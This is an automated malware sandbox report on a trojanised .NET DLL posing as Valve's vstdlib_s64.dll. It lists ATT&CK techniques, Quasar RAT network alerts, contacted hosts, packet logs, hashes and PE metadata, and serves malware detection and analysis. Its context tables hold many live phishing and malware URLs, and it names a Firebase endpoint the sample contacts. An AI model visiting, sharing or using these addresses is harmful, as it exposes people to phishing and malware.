Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	112 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Rundll32	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
vstdlib_s64.dll.dll	26%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
vstdlib_s64.dll.dll	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://telize.com/geoip	0%	Avira URL Cloud	safe
http://api.ipify.org/	0%	Avira URL Cloud	safe
http://freegeoip.net/xml/	0%	Avira URL Cloud	safe
https://argentina-e4162-default-rtdb.firebaseio.com/user.json	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
telize.com	88.198.193.213	true	true	unknown
api.ipify.org	104.26.13.205	true	true	unknown
freegeoip.net	3.33.130.190	true	true	unknown
argentina-e4162-default-rtdb.firebaseio.com	35.201.97.85	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://api.ipify.org/	true	Avira URL Cloud: safe	unknown
http://freegeoip.net/xml/	true	Avira URL Cloud: safe	unknown
https://argentina-e4162-default-rtdb.firebaseio.com/user.json	false	Avira URL Cloud: safe	unknown
http://telize.com/geoip	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
35.201.97.85	argentina-e4162-default-rtdb.firebaseio.com	United States	15169	GOOGLEUS	false
88.198.193.213	telize.com	Germany	24940	HETZNER-ASDE	true
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	true
3.33.130.190	freegeoip.net	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1473780
Start date and time:	2024-07-15 21:06:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	vstdlib_s64.dll.dll (renamed file extension from exe to dll)
Original Sample Name:	vstdlib_s64.dll.exe
Detection:	MAL
Classification:	mal80.troj.spyw.evad.winDLL@38/2@4/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: vstdlib_s64.dll.dll

Simulations

Behavior and APIs

Time	Type	Description
15:07:10	API Interceptor	1x Sleep call for process: loaddll64.exe modified
15:07:18	API Interceptor	1535718x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
88.198.193.213	6OiUEubyA8.msi	Get hash	malicious	Quasar	Browse	telize.com/geoip
	K8mzlntJVN.msi	Get hash	malicious	Unknown	Browse	telize.com/geoip
	30EAFDB7C2C580890C4FB2A7101DB1D22C88BD723603F.exe	Get hash	malicious	Quasar	Browse	telize.com/geoip
	XIiRHEaA9R.exe	Get hash	malicious	Quasar	Browse	www.telize.com/geoip
	svchost.exe	Get hash	malicious	Quasar	Browse	www.telize.com/geoip
	conn.exe	Get hash	malicious	Quasar	Browse	www.telize.com/geoip
104.26.13.205	golang-modules.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Trojan.Win64.Agent.14415.19839.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	242764.exe	Get hash	malicious	Ficker Stealer, Rusty Stealer	Browse	api.ipify.org/?format=wef
	Ransom.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	api.ipify.org/
	ld.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	api.ipify.org/
	ReturnLegend.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	ArenaWarSetup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
3.33.130.190	New PO.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.mscuration.com/txr6/
	ORDEN_240715189833.IMG	Get hash	malicious	DarkTortilla, FormBook	Browse	www.shapenbuy.com/5xz5/
	BL.exe	Get hash	malicious	FormBook	Browse	www.abc8web.com/sm5e/
	OrderPI.exe	Get hash	malicious	FormBook	Browse	www.lextcommunities.com/qt3s/
	docs_pdf.exe	Get hash	malicious	FormBook	Browse	www.789bet1okvip.solutions/aoam/?D0Pts04=Eo7hyHn30cp3PMowPDjUS1eso/Zba7hHHMc1+Dk3yrF+CAsKksIOHOuhtM05CC/e3HjWlDqziYa3lDzCuMJvVQxsVStEDyJQgF4EVzhIE64C3aguyc8vXyTVrLHS4c+iCk5yFwg=&Q8s=tdcd5h7ptjmdxx
	payment advice.exe	Get hash	malicious	FormBook	Browse	www.abc8web.com/sm5e/
	vNrcPvMYLZmn2cc.exe	Get hash	malicious	FormBook	Browse	www.zerolength.xyz/mc10/?yrCDSlw=+hw+aGSrqNJPXAKTI+d1f9+ihmayTPYKE17mK9H9odLh7YQ+aA2Ta0l7fr2FH5vYxut0&Jlt=Y4Ctjz3PDNY8yDR
	MV SHUHA QUEEN II.exe	Get hash	malicious	FormBook	Browse	www.abc8web.com/sm5e/
	3O0zPitVnR82n5Y.exe	Get hash	malicious	FormBook	Browse	www.fundraiserstuffies.com/sm5u/
	rNuevalistadepedidos.exe	Get hash	malicious	FormBook	Browse	www.anavamarketing.com/iat1/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
telize.com	6OiUEubyA8.msi	Get hash	malicious	Quasar	Browse	88.198.193.213
	K8mzlntJVN.msi	Get hash	malicious	Unknown	Browse	88.198.193.213
	30EAFDB7C2C580890C4FB2A7101DB1D22C88BD723603F.exe	Get hash	malicious	Quasar	Browse	88.198.193.213
	XIiRHEaA9R.exe	Get hash	malicious	Quasar	Browse	88.198.193.213
	svchost.exe	Get hash	malicious	Quasar	Browse	88.198.193.213
	conn.exe	Get hash	malicious	Quasar	Browse	88.198.193.213
freegeoip.net	6OiUEubyA8.msi	Get hash	malicious	Quasar	Browse	15.197.148.33
	Zz3h8cOX1E.exe	Get hash	malicious	Quasar	Browse	15.197.148.33
	z4XlS0wTQM.exe	Get hash	malicious	Quasar	Browse	15.197.148.33
	Zz3h8cOX1E.exe	Get hash	malicious	Quasar	Browse	3.33.130.190
	K8mzlntJVN.msi	Get hash	malicious	Unknown	Browse	172.67.75.176
	Commission_Dec23_Exec_Approval.xlsx.js	Get hash	malicious	Blackshades	Browse	104.26.15.73
	30EAFDB7C2C580890C4FB2A7101DB1D22C88BD723603F.exe	Get hash	malicious	Quasar	Browse	104.26.15.73
	XIiRHEaA9R.exe	Get hash	malicious	Quasar	Browse	104.26.15.73
	Outstanding Secured Credit Invoices.pdf.exe	Get hash	malicious	Blackshades	Browse	172.67.75.176
	Invoice.exe	Get hash	malicious	Blackshades	Browse	104.26.14.73
api.ipify.org	6OiUEubyA8.msi	Get hash	malicious	Quasar	Browse	104.26.12.205
	Zam#U00f3wienie - #20240715-A09461_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	0001.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Great Lake - Quote#474701.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Josephine Lawrence items.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	RFQ New Order - 57m#U00b3 LPG SEMI TRAILER 7 NOS.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	172.67.74.152
	Hhf5a5ATds.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	Hhf5a5ATds.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	Payment Advice.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://pttgov-gw.top/help/	Get hash	malicious	Unknown	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	6OiUEubyA8.msi	Get hash	malicious	Quasar	Browse	104.26.12.205
	https://34.75.2o2.lol/XVjBTRlVwbW40SnF4OXJSYmJkbVUxSkdPT2cwQWJtMTRNNVA3VDN5UVRVaUlHR0pmdmZZd1Q5dUp0RUlwY0pPVGpKcUR3bXhYODB1NWtVTUk3RjdGUnJ6YnhHeG1TOXE0Z1MwUVhKRndKN1N5UVJPS3V1L1NycmpzdFJHQWRKbndEbVg4ODMzNE1nQ2hiazFtQmR3VEZJeHYyWXAycTEzUEZMODFqTGxmdjd2SDlNQVhHeFAzYU5XMy0td2Y2dStNQ0JBZHl6a1JJVi0tbS82L0xUaU04RU1Qc2dWdldWbm02QT09?cid=2117374656	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://cloud-drive.services/i/a5b210032126e461fbaa7518681a0ce06	Get hash	malicious	Unknown	Browse	1.1.1.1
	855d156285ccf04888dae255256e42682756098471514f6155c7a5ef8556a95f.zip	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	https://fyui.short.gy/Pu658c	Get hash	malicious	Unknown	Browse	172.64.155.119
	http://links.888brands.net/ctt?m=34615482&r=LTg2NDEzNjA1MDIS1&b=0&j=MjUyMjI0NDU0OAS2&mt=1&kt=12&kx=1&k=888-external-en_custhelp_com_a&kd=//cvgmilano.com/img/#tokyo1@tira.co.jp	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	Complete with Docusign dmoore@nsedc.pdf	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.2.184
	https://tinyurl.com/2kfd9dv5%7CnetworkConnections_direction_1	Get hash	malicious	Unknown	Browse	104.17.3.184
	Reference ID6f5f047b6cdf41716e164ec64879e463.eml	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.axians-ewaste.com/faq/anleitung-installation-signatursoftware/	Get hash	malicious	Unknown	Browse	104.17.25.14
AMAZONEXPANSIONGB	http://24usred.com/0kqZRS	Get hash	malicious	Unknown	Browse	52.223.40.198
	https://skmadvocates.co.ke/dGt/bm9BkNQTsUBoAHHVY36CsnStq75FyBQg8CeZJT4xRH2NEhgsnPSR8gtKpSjbvPtdZbrTnuyG33FV5tDBJraTiqCTpLfzVJSeqV8cEPCNLNV42udbNRkGNUXivyFTVq9xo6	Get hash	malicious	HTMLPhisher	Browse	3.33.220.150
	http://itumbrellagroup.com	Get hash	malicious	Unknown	Browse	52.223.39.232
	New PO.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	3.33.130.190
	ORDEN_240715189833.IMG	Get hash	malicious	DarkTortilla, FormBook	Browse	3.33.244.179
	https://mettamasklogiinf.gitbook.io/us/	Get hash	malicious	Unknown	Browse	3.33.235.18
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	3.33.244.179
	http://service-public-finances.com/	Get hash	malicious	Phisher	Browse	52.223.40.198
	http://api-connects.pages.dev/wallet.html,api-connects.pages.dev,172.66.46.230	Get hash	malicious	Unknown	Browse	52.223.40.198
	https://uspsdirect.one?t=guoi	Get hash	malicious	Unknown	Browse	52.223.40.198
HETZNER-ASDE	6OiUEubyA8.msi	Get hash	malicious	Quasar	Browse	88.198.193.213
	http://www.nicetours.net	Get hash	malicious	Unknown	Browse	46.4.249.94
	http://4allpromo.com/	Get hash	malicious	Unknown	Browse	136.243.44.113
	c32420d2-f683-f305-71f5-f5966fa0459d.eml	Get hash	malicious	HTMLPhisher	Browse	95.217.66.83
	https://trk.klclick3.com/ls/click?upn=u001.I9LhpOxgCcXrD8xJgdEO8WUi5tV6wurQhjXRfDAEMS-2FcMa0g0FTnahsI5IEFHinKC-2FGj8kpAqnaoI6Qoa3vFLySKKSAfv0Wxu2Dy-2BRyMntsvwfzFfHILPHPRV90LmePFgMglDqCtK67PLGfWxTEMO93TwkvZZtNoI477LbXPoBjcrwXEgXl1dr5-2Bsbz8VZiUNXN768BEIA-2BYnNr4FIu9nA-3D-3DATse_RSmWOI3fPdFDxAydigDPQ0uJwuQ-2FUs3Wu1xZT2pFOHtvwUa8-2Ftks3ld44BID-2BJgD3ps4M8U7HlIP10yVJ6ZeFvrA3iSG0rco-2Fzt7OL4FXId6TCwVFcQcW-2F2E-2Faa3q7Weo2xYvFD1h9l7jEVdzkUp4Kp77hFD1XYDRoeiAzaz-2BFA4Srg7EiFD-2BO6F2w7c4O0pEK7boN40RNA-2F8TusPddYFOH48pk30jzUw7CYeSygfO9hZkczhRjxavPfa15ZQShZu24zwPQtiM5rYtaL0zKZeMvKbYsdrel3rTSJBLKXR2MMcVfiOQJo1JHVPclcvULrA5xewzIBFupBKpLaDZv1KWbZjd-2F-2BEE4MzV1Vme-2FCaJxOXBca4gsTghUHHiiDIxlLzjYnWoXwKNHeSslKR-2BUfUjOwwSmF8fN79-2FzJVuaw4lasmT9EvZxZK-2BAH7JlY5rrgFg8Woxh0SAeruKYO5LevAgBmW3c5sr-2F85S8FCROz5cY3UDqnpYtBxr1o9XTEZg-2FV#/kLIB1/evbLziA5E-SUREIDAN1VmLjN2YAtWauRWdi5SYsxWatF2a	Get hash	malicious	HTMLPhisher	Browse	95.217.66.83
	o82ktPixLt.exe	Get hash	malicious	RedLine	Browse	95.217.245.123
	gQzJjvCHZV.exe	Get hash	malicious	RedLine	Browse	95.217.245.123
	DCAbo3D46k.exe	Get hash	malicious	RedLine	Browse	95.217.245.123
	wkvH2q7DNh.exe	Get hash	malicious	RedLine	Browse	95.217.245.123
	PvJy3zSayP.exe	Get hash	malicious	Unknown	Browse	78.47.201.39

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	6OiUEubyA8.msi	Get hash	malicious	Quasar	Browse	35.201.97.85
	855d156285ccf04888dae255256e42682756098471514f6155c7a5ef8556a95f.zip	Get hash	malicious	Snake Keylogger	Browse	35.201.97.85
	rDoc_87993766478.exe	Get hash	malicious	Lokibot	Browse	35.201.97.85
	rTransaction_ReceiptCopy.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	35.201.97.85
	rTNT__consignmentnumber__87993766478.exe	Get hash	malicious	Lokibot	Browse	35.201.97.85
	NewOrder_LCL240887.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	35.201.97.85
	FVG2-20240704.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	35.201.97.85
	SecuriteInfo.com.Win64.PWSX-gen.3492.24691.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	35.201.97.85
	#U8acb#U6c42#U66f8.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	35.201.97.85
	DHL Waybill & Shipping Document.exe	Get hash	malicious	Snake Keylogger	Browse	35.201.97.85

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Windows\System32\Data.log

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.7219280948873625
Encrypted:	false
SSDEEP:	3:Jw/zn:Szn
MD5:	A727C23FB0D2ED884F90288656DE1378
SHA1:	7BDF93C8575CA64B179D7316531BFF47F2D06768
SHA-256:	58F2795D1156D90EC8057C218D5E53E54A21FE92AF2414D516C5A77B363FDA6B
SHA-512:	B2732256B5675E00960DF616CB78D723D886CB0E11C181EB7650CDE30BAE251732EE56F93132A1282DBBD2EF3662674540AFAC08EC98BEB8FBBAF3A5DDD56A28
Malicious:	false
Preview:	15:07:2024

Static File Info

General

File type:	PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.1366584226365735
TrID:	Win64 Dynamic Link Library (generic) Net Framework (111504/3) 44.42% Win64 Dynamic Link Library (generic) (102004/3) 40.63% Win64 Executable (generic) Net Framework (21505/4) 8.57% Win64 Executable (generic) (12005/4) 4.78% Generic Win/DOS Executable (2004/3) 0.80%
File name:	vstdlib_s64.dll.dll
File size:	7'477'096 bytes
MD5:	ac7da10e20d625cc463536172d0ac33e
SHA1:	c4242194e3faa82506513e2572c160a30082bfb0
SHA256:	6799f1948048b91991392b421ccc6b30be415cda26deb71baeecb33b41b12959
SHA512:	77f929fa05266793765014b24fede5f0c64f88598f9580a6aaa4d339b428e4a68eacdb4dc0cab1f1c428f870c57ac54e55423f8fbbe80fd1a48ac54442f1787a
SSDEEP:	24576:KxClp92/e9DlZ62nbFSu28jugkg91tVWwS+pvbOOmwWYhssXfKySQN1jk1eI8ykJ:h0bz0nbb
TLSH:	8976324CE43A95D8CD4672F0AC96198C39855DD89FBD572A042CC0B827EB6BC42877FE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....f.f.........." ......q.........f.q.. ........... .......................`r...........@...@......@............... .....

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x18071fd66
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x180000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6685668E [Wed Jul 3 14:56:14 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	dae02f32a21e03ce65412f6e56942daa

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	07/10/2021 01:00:00 10/10/2024 00:59:59
Subject Chain	CN=Valve Corp., O=Valve Corp., L=Bellevue, S=Washington, C=US
Version:	3
Thumbprint MD5:	83896ECC20DB9E84A1A1D6D5B5B15A5D
Thumbprint SHA-1:	935767D66FAD4AD2D1F03A095C49370DC74DF607
Thumbprint SHA-256:	E98CCA8343960798A47BDB3CDD319DB4B9C6DBD8BC7574C13F6C09A925AEC0E9
Serial:	0689B3BCEB4409890A32D71976B132A4

Entrypoint Preview

Instruction
dec eax
mov eax, dword ptr [80002000h]
add dword ptr [eax], eax
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jmp eax
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Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x720068	0x28	.sdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x71fd10	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x722000	0x33c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x71ea00	0x2d68
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x724000	0x30	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x10	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2010	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x71dd72	0x71de00	4d64ab768b4471f4dad807114cfa4605	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.sdata	0x720000	0x1e3	0x200	205f35db0c4d7d485e9c66117be0b622	False	0.587890625	OpenPGP Public Key	4.531194460208676	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x722000	0x33c	0x400	9e217ba6f8b9f646b6164e424d8a3a34	False	0.341796875	data	2.6099876523576393	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x724000	0x30	0x200	4d5f1334246aa8d607d9db9127b03f3b	False	0.115234375	data	0.5919266160963527	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x722058	0x2e4	data			0.4297297297297297

Imports

DLL	Import
mscoree.dll	_CorDllMain

Exports

Name	Ordinal	Address
V_FixDoubleSlashes	0	0x180002122
V_FixSlashes	1	0x1800020d2
V_IsAbsolutePath	2	0x180002112
V_RemoveDotSlashes	3	0x180002102
V_StripLastDir	4	0x1800020c2
V_StripTrailingSlash	5	0x1800020b2
V_UTF16ToUTF8	6	0x1800020a2
V_UTF8ToUTF16	7	0x180002092
V_snprintf	8	0x180002062
V_strncat	9	0x180002082
V_strncat_length	10	0x1800020f2
V_strncpy	11	0x1800020e2
V_vsnwprintf	12	0x180002072

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/15/24-21:07:19.513418	TCP	2814031	ETPRO TROJAN W32/Quasar RAT Connectivity Check	49738	80	192.168.2.4	88.198.193.213
07/15/24-21:07:19.945864	TCP	2814030	ETPRO TROJAN W32/Quasar RAT Connectivity Check 2	49739	80	192.168.2.4	3.33.130.190

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 15, 2024 21:07:19.239309072 CEST	49735	443	192.168.2.4	35.201.97.85
Jul 15, 2024 21:07:19.239355087 CEST	443	49735	35.201.97.85	192.168.2.4
Jul 15, 2024 21:07:19.239518881 CEST	49735	443	192.168.2.4	35.201.97.85
Jul 15, 2024 21:07:19.271861076 CEST	49735	443	192.168.2.4	35.201.97.85
Jul 15, 2024 21:07:19.271893024 CEST	443	49735	35.201.97.85	192.168.2.4
Jul 15, 2024 21:07:19.507909060 CEST	49738	80	192.168.2.4	88.198.193.213
Jul 15, 2024 21:07:19.512898922 CEST	80	49738	88.198.193.213	192.168.2.4
Jul 15, 2024 21:07:19.513000965 CEST	49738	80	192.168.2.4	88.198.193.213
Jul 15, 2024 21:07:19.513417959 CEST	49738	80	192.168.2.4	88.198.193.213
Jul 15, 2024 21:07:19.518230915 CEST	80	49738	88.198.193.213	192.168.2.4
Jul 15, 2024 21:07:19.786905050 CEST	443	49735	35.201.97.85	192.168.2.4
Jul 15, 2024 21:07:19.787228107 CEST	49735	443	192.168.2.4	35.201.97.85
Jul 15, 2024 21:07:19.792002916 CEST	49735	443	192.168.2.4	35.201.97.85
Jul 15, 2024 21:07:19.792021990 CEST	443	49735	35.201.97.85	192.168.2.4
Jul 15, 2024 21:07:19.792522907 CEST	443	49735	35.201.97.85	192.168.2.4
Jul 15, 2024 21:07:19.838023901 CEST	49735	443	192.168.2.4	35.201.97.85
Jul 15, 2024 21:07:19.854521990 CEST	49738	80	192.168.2.4	88.198.193.213
Jul 15, 2024 21:07:19.884505033 CEST	443	49735	35.201.97.85	192.168.2.4
Jul 15, 2024 21:07:19.900291920 CEST	80	49738	88.198.193.213	192.168.2.4
Jul 15, 2024 21:07:19.940666914 CEST	49739	80	192.168.2.4	3.33.130.190
Jul 15, 2024 21:07:19.945677996 CEST	80	49739	3.33.130.190	192.168.2.4
Jul 15, 2024 21:07:19.945863962 CEST	49739	80	192.168.2.4	3.33.130.190
Jul 15, 2024 21:07:19.945863962 CEST	49739	80	192.168.2.4	3.33.130.190
Jul 15, 2024 21:07:19.950813055 CEST	80	49739	3.33.130.190	192.168.2.4
Jul 15, 2024 21:07:19.991322994 CEST	80	49738	88.198.193.213	192.168.2.4
Jul 15, 2024 21:07:19.992115974 CEST	49738	80	192.168.2.4	88.198.193.213
Jul 15, 2024 21:07:20.020019054 CEST	443	49735	35.201.97.85	192.168.2.4
Jul 15, 2024 21:07:20.054713011 CEST	49735	443	192.168.2.4	35.201.97.85
Jul 15, 2024 21:07:20.054778099 CEST	443	49735	35.201.97.85	192.168.2.4
Jul 15, 2024 21:07:20.188385010 CEST	443	49735	35.201.97.85	192.168.2.4
Jul 15, 2024 21:07:20.188676119 CEST	443	49735	35.201.97.85	192.168.2.4
Jul 15, 2024 21:07:20.188889980 CEST	49735	443	192.168.2.4	35.201.97.85
Jul 15, 2024 21:07:20.194135904 CEST	49739	80	192.168.2.4	3.33.130.190
Jul 15, 2024 21:07:20.196966887 CEST	49735	443	192.168.2.4	35.201.97.85
Jul 15, 2024 21:07:20.233011961 CEST	49740	80	192.168.2.4	104.26.13.205
Jul 15, 2024 21:07:20.238089085 CEST	80	49740	104.26.13.205	192.168.2.4
Jul 15, 2024 21:07:20.238164902 CEST	49740	80	192.168.2.4	104.26.13.205
Jul 15, 2024 21:07:20.238285065 CEST	49740	80	192.168.2.4	104.26.13.205
Jul 15, 2024 21:07:20.240206957 CEST	80	49739	3.33.130.190	192.168.2.4
Jul 15, 2024 21:07:20.243071079 CEST	80	49740	104.26.13.205	192.168.2.4
Jul 15, 2024 21:07:20.344536066 CEST	80	49739	3.33.130.190	192.168.2.4
Jul 15, 2024 21:07:20.344614983 CEST	49739	80	192.168.2.4	3.33.130.190
Jul 15, 2024 21:07:20.737621069 CEST	80	49740	104.26.13.205	192.168.2.4
Jul 15, 2024 21:07:20.783165932 CEST	49740	80	192.168.2.4	104.26.13.205
Jul 15, 2024 21:09:00.753093004 CEST	49740	80	192.168.2.4	104.26.13.205
Jul 15, 2024 21:09:01.056432962 CEST	49740	80	192.168.2.4	104.26.13.205
Jul 15, 2024 21:09:01.284600973 CEST	80	49740	104.26.13.205	192.168.2.4
Jul 15, 2024 21:09:01.284889936 CEST	80	49740	104.26.13.205	192.168.2.4
